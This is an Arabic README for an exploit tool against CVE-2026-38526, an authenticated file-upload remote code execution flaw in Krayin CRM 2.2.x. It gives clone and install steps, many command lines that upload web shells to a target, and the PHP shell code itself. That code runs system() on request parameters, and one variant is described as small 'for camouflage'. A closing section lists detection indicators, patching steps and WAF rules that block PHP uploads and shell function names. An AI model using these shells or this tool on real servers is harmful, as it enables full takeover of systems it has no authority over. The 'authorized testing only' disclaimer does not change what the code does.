
CVE-2026-38526 استغلال ثغرة في Krayin CRM الإصدار 2.2.x - تنفيذ أوامر عن بُعد (RCE) بعد المصادقة عبر تجاوز رفع ملفات TinyMCE. الميزات: شيل تفاعلي، حمولات متعددة الأنواع، إنشاء تلقائي للشيل، والتحقق. المؤلف: Sudeepa Wanigarathna. للاختبار المصرح به فقط.
⚠️ لأغراض اختبار الأمن المصرح به فقط - الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
تثبت أداة الاستغلال هذه وجود ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) تم اكتشافها في Krayin CRM الإصدار 2.2.x. توجد الثغرة في وظيفة رفع الملفات في TinyMCE، والتي تسمح للمسؤولين الموثَّقين برفع وتنفيذ كود PHP عشوائي على الخادم.
| الخاصية | القيمة |
|---|---|
| معرف CVE | CVE-2026-38526 |
| البرنامج المتأثر | كراين CRM الإصدار 2.2.x |
| نوع الثغرة | تنفيذ التعليمات البرمجية عن بُعد (RCE) موثَّق |
| مطلوب مصادقة | نعم (صلاحيات مدير) |
| التأثير | اختراق كامل للنظام |
| درجة CVSS | 8.8 (عالية) |
تنشأ الثغرة من عدم كفاية التحقق من نوع الملف في نقطة رفع ملفات TinyMCE (/admin/tinymce/upload). يمكن للمسؤول الموثَّق:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]
| المعامل | الوصف |
|---|---|
-t, --target | عنوان URL الهدف (مثال: http://192.168.1.100) |
-u, --username | اسم مستخدم المدير أو البريد الإلكتروني |
-p, --password | كلمة مرور المدير |
# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password
# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
شيل أساسي (basic)
تنفيذ أوامر بسيط باستخدام دالة system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
شيل متقدم (advanced)
شيل غني بالميزات مع:
شيل بسيط (minimal)
بصمة ضئيلة للتمويه.
<?php system($_GET["cmd"]); ?>
مدير الملفات (file_manager)
واجهة إدارة ملفات كاملة:
شيل مخصص (custom)
استخدم ملف شيل PHP الخاص بك مع المعامل -f.
مخرجات ملونة قابلة للقراءة البشرية مناسبة للاستخدام التفاعلي.
-o json)تنسيق قابل للقراءة الآلية للأتمتة والتكامل.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)لا مخرجات باستثناء الأخطاء. مفيد للمعالجة الدفعية.
| الخيار | الوصف | الافتراضي |
|---|---|---|
--timeout | مهلة الطلب بالثواني | 30 |
--retry | عدد محاولات إعادة المحاولة | 3 |
--retry-delay | التأخير بين المحاولات بالثواني | 2 |
--user-agent | سلسلة User-Agent مخصصة | وكيل المستخدم الافتراضي للمتصفح |
--header | ترويسات HTTP مخصصة (مفتاح: قيمة) | لا شيء |
--verify-ssl | التحقق من شهادات SSL | خطأ |
--proxy | عنوان URL بروكسي HTTP/HTTPS | لا شيء |
-v, --verbose | تمكين مخرجات التصحيح | خطأ |
-q, --quiet | كتم جميع المخرجات | خطأ |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
الملفات التي يجب مراقبتها:
public/storage/upload/image.php.jpg)السجلات التي يجب فحصها:
/admin/tinymce/uploadمؤشرات النظام:
إجراءات فورية:
# Update to patched version
composer update krayin/crm
# Disable admin access temporarily
# Remove unnecessary admin accounts
# Change all admin passwords
تعزيز أمن رفع الملفات:
// Validate file type by content, not just extension
// Implement content security policy
// Use Web Application Firewall (WAF)
// Enable file upload scanning
التحكم في الوصول:
# Restrict admin IPs in .htaccess
# Implement MFA for admin accounts
# Regular admin audit
# Session timeout policies
قواعد WAF (ModSecurity):
# Block suspicious file uploads
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Block web shells
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"